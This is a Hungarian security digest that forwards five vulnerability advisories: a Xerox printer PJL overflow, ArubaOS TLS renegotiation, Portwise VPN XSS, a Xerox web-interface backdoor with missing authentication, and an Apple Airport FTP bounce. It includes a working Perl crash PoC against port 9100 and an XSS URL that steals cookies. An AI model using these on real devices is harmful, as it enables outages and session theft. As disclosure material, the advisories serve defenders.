Buffer overflow hibát találtak a Xerox WorkCentre 4150 multifunkciós eszközben. Az ArubaOS eszközök HTTPS WebUI adminisztrációs felületét szintén érinti a TLS protokoll renegotiation hibája. XSS hibát találtak a Portwise SSL VPN bejelentkezési lapján. A Xerox WorkCentre 5665 / 5675 / 5687 eszközeinek webes felületében backdoor található, valamint több helyen is kimaradt az azonosítás ellenőrzése. Az Apple Airport Express, Airport Extreme, Time Capsule és várhatóan még több eszköz FTP proxy szervere nem végez bounce ellenőrzést.
--- Begin Message ---##################################################################################### Application: Xerox Workcenter 4150 Remote Buffer Overflow Platforms: Xerox Workcenter 4150 Discover Date: 2009-12-21 Author: Francis Provencher (Protek Research Lab's) Blog: http://www.Protekresearchlab.com ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ##################################################################################### ================= 1) Introduction ================= The Xerox WorkCentre 4150 multifunction is the affordable transition to the next level of productivity for your office. One easy-to-use device offers powerful printing, copying, scanning, and faxing. ##################################################################################### ==================== 2) Report Timeline ==================== 2009-12-22 Vendor Contacted 2009-12-22 Vendor Response 2009-12-22 Vendor request a PoC 2009-12-23 PoC is sent 2009-12-28 Vendor confirm the vulnerability 2010-01-27 Vendor release a Patch 2010-01-28 Public release of this advisory ##################################################################################### ====================== 3) Technical details ====================== During a brief assessment we performed on a Xerox WorkCentre 4150 it was discovered that PJL daemon implementation contains a weakness related to robustness of PJL protocol handling. Attacker can crash the service with a relatively simple attack. Recovering from the denial-of-service condition requires power cycling the device. Due to the black box nature of this Proof of concept attack, we are unable to know if remote code execution is possible. On the LCD screen we can see this message; System Fault: (ubEmulationLen <= Longest_Lang_Length) && The result of strlen() is invalid file PJL_Misc.c, line 174, task PJL ##################################################################################### ============= 4) The Code ============= #!/usr/bin/perl -w use IO::Socket; if (@ARGV < 1){ exit } $ip = $ARGV[0]; #open the socket my $sock = new IO::Socket::INET ( PeerAddr => $ip, PeerPort => '9100', Proto => 'tcp', ); $sock or die "no socket :$!"; send($sock, "\033%-12345X\@PJL ENTER LANGUAGE = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",0); close $sock; ##################################################################################### (PRL-2009-26)
--- End Message ---
--- Begin Message --------BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Aruba Networks Security Advisory Title: TLS Protocol Session Renegotiation Security Vulnerability Aruba Advisory ID: AID-020810 Revision: 1.0 For Public Release on 02/08/2010 +---------------------------------------------------- SUMMARY This advisory addresses the renegotiation related vulnerability disclosed recently in Transport Layer Security protocol [1][2]. This vulnerability may allow a Man-in-the-Middle (MITM) attacker to inject arbitrary data into the beginning of the application protocol stream protected by TLS. The only ArubaOS component that seems affected by this issue is the HTTPS WebUI administration interface. If a client browser (victim) is configured to authenticate to the WebUI over HTTPS using a client certificate, an attacker can potentially use the victim's credentials temporarily to execute arbitrary HTTP request for each initiation of an HTTPS session from the victim to the WebUI. This would happen without any HTTPS/TLS warnings to the victim. This condition can essentially be exploited by an attacker for command injection in beginning of a HTTPS session between the victim and the ArubaOS WebUI. ArubaOS itself does not initiate TLS renegotiation at any point and hence is only vulnerable to scenario where a client explicitly requests TLS renegotiation. Captive Portal users do not seem vulnerable to this issue unless somehow client certificates are being used to authenticate captive portal users. AFFECTED ArubaOS VERSIONS 2.5.6.x, 3.3.2.x, 3.3.3.x, 3.4.0.x, 3.4.1.x, RN 3.1.x, 3.3.2.x-FIPS, 2.4.8.x-FIPS CHECK IF YOU ARE VULNERABLE The only ArubaOS component that seems affected by this issue is the HTTPS WebUI administration interface. ArubaOS is vulnerable only if its configuration permits WebUI administration interface clients to connect using either username/password or client certificates. If only one of the two authentication method is allowed, this issue does not seem to apply. Check if the following line appears in your configuration: web-server mgmt-auth username/password certificate If the exact line does not appear in the configuration, this issue does not apply. DETAILS An industry wide vulnerability was discovered in TLS protocol's renegotiation feature, which allows a client and server who already have a TLS connection to negotiate new session parameters and generate new key material. Renegotiation is carried out in the existing TLS connection. However there is no cryptographic binding between the renegotiated TLS session and the original TLS session. An attacker who has established MITM between client and server may be able to take advantage of this and inject arbitrary data into the beginning of the application protocol stream protected by TLS. Specifically arbitrary HTTP requests can be injected in a HTTPS session where attacker (MITM) blocks HTTPS session initiation between client and server, establishes HTTPS session with the server itself, injects HTTP data and initiates TLS renegotiation with the server. Then attacker allows the renegotiation to occur between the client and the server. After successful HTTPS session establishment with the server, now the client sends its HTTP request along with its HTTP credentials (cookie) to the server. However due to format of attacker's injected HTTP data, the client's HTTP request is not processed, rather the attacker's HTTP request gets executed with credentials of the client. The attacker is not able to view the results of the injected HTTP request due to the fact that data between the client and the server is encrypted over HTTPS. ArubaOS itself does not initiate TLS renegotiation at any point. IMPACT This vulnerability may allow a MITM attacker to inject arbitrary HTTP request data into the beginning of a HTTPS session between client and server (ArubaOS WebUI). The only ArubaOS component that seems affected by this issue is the HTTPS WebUI administration interface. Pre-requisites for this attack : 1. The attacker must be able to establish a MITM between the client and the server (ArubaOS WebUI). 2. The attacker must be able to establish a successful HTTPS session with the server (ArubaOS WebUI) 3. ArubaOS must be configured to allow certificate based HTTPS authentication for WebUI clients (client certs). Captive Portal users do not seem vulnerable to this issue unless somehow client certificates are being used to authenticate captive portal users. CVSS v2 BASE METRIC SCORE: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P) WORKAROUNDS Aruba Networks recommends that all customers apply the appropriate patch(es) as soon as practical. However, in the event that a patch cannot immediately be applied, the following steps will help to mitigate the risk: - - - Disable certificate based HTTPS authentication (and only allow username-password based authentication) for WebUI clients. Client's username-password authentication POST request will prohibit attacker's injected HTTP data from executing with client's cookie. CLI command: web-server mgmt-auth username/password - - - Permit certificate based HTTPS authentication ONLY and disable username-password based authentication to WebUI. This will prohibit attacker from establishing a HTTPS session with ArubaOS (for MITM) without a valid client cert. CLI command: web-server mgmt-auth certificate Note: This step won't stop command injection from attackers who have valid client certificates but their assigned management role privileges are lower than that of the admin. This attack may allow them to run commands at higher privilege than what is permitted in their role. - - - Do not expose the Mobility Controller administrative interface to untrusted networks such as the Internet. SOLUTION Aruba Networks recommends that all customers apply the appropriate patch(es) as soon as practical. The following patches have the fix (any newer patch will also have the fix): - - - - 2.5.6.24 - - - - 3.3.2.23 - - - - 3.3.3.2 - - - - 3.4.0.7 - - - - 3.4.1.1 - - - - RN 3.1.4 Please contact Aruba support for obtaining patched FIPS releases. Please note: We highly recommend that you upgrade your Mobility Controller to the latest available patch on the Aruba support site corresponding to your currently installed release. REFERENCES [1] http://extendedsubset.com/?p=8 [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 +---------------------------------------------------- OBTAINING FIXED FIRMWARE Aruba customers can obtain the firmware on the support website: http://www.arubanetworks.com/support. Aruba Support contacts are as follows: 1-800-WiFiLAN (1-800-943-4526) (toll free from within North America) +1-408-754-1200 (toll call from anywhere in the world) e-mail: support(at)arubanetworks.com Please, do not contact either "wsirt(at)arubanetworks.com" or "security(at)arubanetworks.com" for software upgrades. EXPLOITATION AND PUBLIC ANNOUNCEMENTS This vulnerability will be announced at Aruba W.S.I.R.T. Advisory: http://www.arubanetworks.com/support/alerts/aid-020810.txt SecurityFocus Bugtraq http://www.securityfocus.com/archive/1 STATUS OF THIS NOTICE: Final Although Aruba Networks cannot guarantee the accuracy of all statements in this advisory, all of the facts have been checked to the best of our ability. Aruba Networks does not anticipate issuing updated versions of this advisory unless there is some material change in the facts. Should there be a significant change in the facts, Aruba Networks may update this advisory. A stand-alone copy or paraphrase of the text of this security advisory that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. DISTRIBUTION OF THIS ANNOUNCEMENT This advisory will be posted on Aruba's website at: http://www.arubanetworks.com/support/alerts/aid-020810.txt Future updates of this advisory, if any, will be placed on Aruba's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. REVISION HISTORY Revision 1.0 / 02-08-2010 / Initial release ARUBA WSIRT SECURITY PROCEDURES Complete information on reporting security vulnerabilities in Aruba Networks products, obtaining assistance with security incidents is available at http://www.arubanetworks.com/support/wsirt.php For reporting *NEW* Aruba Networks security issues, email can be sent to wsirt(at)arubanetworks.com or security(at)arubanetworks.com. For sensitive information we encourage the use of PGP encryption. Our public keys can be found at http://www.arubanetworks.com/support/wsirt.php (c) Copyright 2010 by Aruba Networks, Inc. This advisory may be redistributed freely after the release date given at the top of the text, provided that redistributed copies are complete and unmodified, including all date and version information. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAktwksYACgkQp6KijA4qefXErQCeKJW3YU3Nl7JY4+2Hp2zqM3bN bWAAoJWQT+yeWX2q+02hNEwHWQtGf1YP =CrHf -----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---PR09-04: Cross-Site Scriting on Portwise SSL VPN v4.6 Vulnerability found: 25th March 2009 Vendor informed: 28th April 2009 Vulnerability fixed: Severity: Medium Description: The Portwise portal login page is vulnerable to XSS. Portwise is a SSL-VPN portal. Note: Other version might be affected as well The following demonstrate XSS: 1) Login page XSS https://example.com/wa/auth?&authmech=Assess&reloadFrame=%22;%3Cscript%3Eblah%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E Consequences: An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a Portwise Portal-based site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties. Fix: Ensure all input parameters (especially "reloadFrame") are filtered sufficiently before beign echoed back to the client. References: http://www.procheckup.com/Vulnerabilities.php Credits: George Christopoulos and Jan Fry of ProCheckUp Ltd (www.procheckup.com) Legal: Copyright 2009 Procheckup Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non- commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.
--- End Message ---
--- Begin Message ---SEC Consult Security Advisory < 20100208-0 > ======================================================================= title: Backdoor and Vulnerabilities in Xerox WorkCentre Printers Web Interface products: Xerox WorkCentre 5665/5675/5687 vulnerable version: 21.120.39.000 and possibly others fixed version: http://www.xerox.com/information-security/enus.html impact: critical homepage: http://www.xerox.com/ found: 2009-10-05 by: D. Fabian / SEC Consult / www.sec-consult.com ======================================================================= Vendor description: ------------------- WorkCentre 5665 / 5675 / 5687 High-speed performance, outstanding productivity and advanced multifunction capabilities. These are the essentials of the all-in-one offce powerhouse that easily handles the high-volume print demands of large, busy workgroups. And with robust copying, scanning, faxing and a host of innovative Xerox technologies, you get a total workfow solution that excels at streamlining your unique job processes. Vulnerability 1: Backdoor to Mailboxes -------------------------------------- For some reasons, Xerox decided to integrate a backdoor into the scan system of the WorkCentre 5665 / 5675 / 5678 web interface. Scan folders ("mailboxes") can be protected with a password. The documentation says on folder passwords: "A folder password may or may not be required depending on the Scan Policies set by the administrator. If a password is required to create a folder, type the password here. If no password is required by the Scan Policies, you can optionally choose whether or not to password protect your folder." Some files require a job password. If someone tries to access a private folder without logging in previously, this does not work since a cookie is compared to a precomputed checksum. However there is a script named "YoUgoT_It.php" that creates the correct checksum for any folder. By simply calling the script with the folder name as argument, an attacker can access any folder. Here is the relevant code from the file folder.php that allows access, if the checksum is correct: /* see if the private folder is trying to be accessed, without logging in previously; this can be done by checking to see if the cookie matches the computed "checksum" */ if ( $gFolderName === $_SESSION['MBOX_FOLDER'] ) { // continue on as this is okay } elseif (( false === isset( $_COOKIE[$gFolderName] )) || ( $theChecksum !== $_COOKIE[$gFolderName] )) { header( "Location: /mailbox/pin.php?" . NAME_KEY . "=" . $gFolderName ); exit; } Vulnerability 2: Authentication not validated --------------------------------------------- In multiple instances, when a password is required to access certain pages, the developers seemed to forget the vital "die()" or "exit()" statement after the redirect. This allows an attacker access to multiple pages that would require authentication. Here are a couple of examples: /diagnostics/authenticationQuery.php: if ( "" === $gUserName ) { header( "Location: /properties/authentication/login.php?redir=" . $_SERVER['SCRIPT_NAME'] ); } elseif ( false === $gSaLoggedIn ) { header( "Location: /properties/no_modify.php" ); } /php_includes/sa_check.php: This script seems to check whether the currently logged in user is an administrative user if ( "" === $gUserName ) { header( "Location: /properties/authentication/login.php?redir=" . $_SERVER['REQUEST_URI'] ); } elseif (( false === $gSaLoggedIn ) && ( "" !== $gUserName )) { header( "Location: /properties/no_modify.php" ); exit; } As you can see from the code, if the user is logged in, but not an administrator, he is correctly denied access. However if the user is not logged in at all, only a Location-header is sent, but the rest of the script can continue to run. The very same vulnerability can be found in many cases. In some cases, the authentication is also only in the page that provides only the frameset. The actual content-pages can be called without any authentication at all. Vulnerable versions: -------------------- The vulnerabilities were discovered in version 21.120.39.000. It is likely that other versions are affected also. Vendor contact timeline: ------------------------ 2009-10-06: Contacting the Xerox Security Team via Email Solution: --------- http://www.xerox.com/information-security/enus.html http://www.xerox.com/downloads/usa/en/c/cert_XRX10-002_v1.0.pdf Advisory URL: ------------- https://www.sec-consult.com/advisories_e.html#a65 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com www.sec-consult.com SEC Consult conducts periodical information security workshops on ISO 27001/BS 7799 in cooperation with BSI Management Systems. For more information, please refer to https://www.sec-consult.com/academy_e.html EOF D. Fabian / @2009
--- End Message ---
--- Begin Message ---The FTP proxy used in Apple's Airport Express, Airport Extreme, Time Capsule and possibly elsewhere doesn't check the client provided address and port given by the FTP PORT command against the IP address of the connecting client, or against the use of privileged ports. (The FTP PORT command is used by a FTP client to tell an FTP server which address and data port to initiate the data connection on.) The FTP proxy is used to provide assistance to clients operating in NAT environments served by the Apple products. FTP servers running behind a NAT with this assistance can have addresses in the command channel rewritten for them so that external clients can reach them when operating in passive mode. The ALG operates as a proxy server, assuming responsibility for connections to the FTP server, and must therefore also handle and modify rewriting of the PORT command. It looks like it might be ftp-proxy from PF. The effect of this problem is to allow anybody with access to the FTP port forwarded on the exterior side of an Apple Airport product that offers NAT to internal clients, which for a publicly-accessible FTP server is the big bad world, to induce an FTP server operating behind a NAT to send data to arbitrary addresses and ports. This is true even if the FTP server is configured to operate more securely, since it sees connections from the NAT's exterior interface, not the connecting client. This is useful for bouncing anonymous port scans off the victim NAT, or if data is available or can be written to and then read from the FTP server, potentially for anonymous attacks, spam, news floods, and other such badness. Any trust relationship and/or security implied or assumed by a NAT is also gone, since the PORT command can also specify private addresses, inside the NAT, for victimisation. Best of all, the gateway itself makes no log entry concerning FTP connections that have been run through the proxy. Workarounds: do not use FTP; do not trigger the use of the ALG (FTP proxy) by explicitly using ports other than 21 on the inbound port mapping. If you can't do those things, you can avoid the worst effects of this attack by disabling FTP uploads that can later be downloaded by anonymous users. Apple likes to keep secrets for the protection of its customers. Since the reasonable release of this advisory removes that protection, confidential information vouchsafed to me can be safely disclosed with no ill effects. Apple has a fix, and according to its last seemingly automatic template message, they are still testing it and do not know precisely when it will be released. This is confidential information. DO NOT DISCLOSE! Advisory history: Apple were notified on 4 Dec 2009, and responded promptly. They were given 60 days initially. Apple contacted me on 7 January 2010 to ask who to give credit to. Personal attribution. On 18 Jan I contacted Apple, advising that they'd passed the six weeks milestone. On 25 January I contacted Apple, advising that they'd passed the 7 weeks milestone. They volunteered confidential information. On 4 Feb, I urged Apple to tell me when a fix was to be issued, approximately. They'd had their two months, and release cycles happen, but I wanted news within a fortnight. Didn't they understand that their customers were at easy risk, and that keeping it quiet didn't change that? By today - that is, by about 3 months - they would certainly be beyond reconciliation. They volunteered confidential information. On 4 March, I got bored of waiting, and made this announcement. The fix is not out; apply workarounds, or trust to the fates and the security of your network. Cheers, SabahattinAttachment: smime.p7s
Description: S/MIME cryptographic signature
--- End Message ---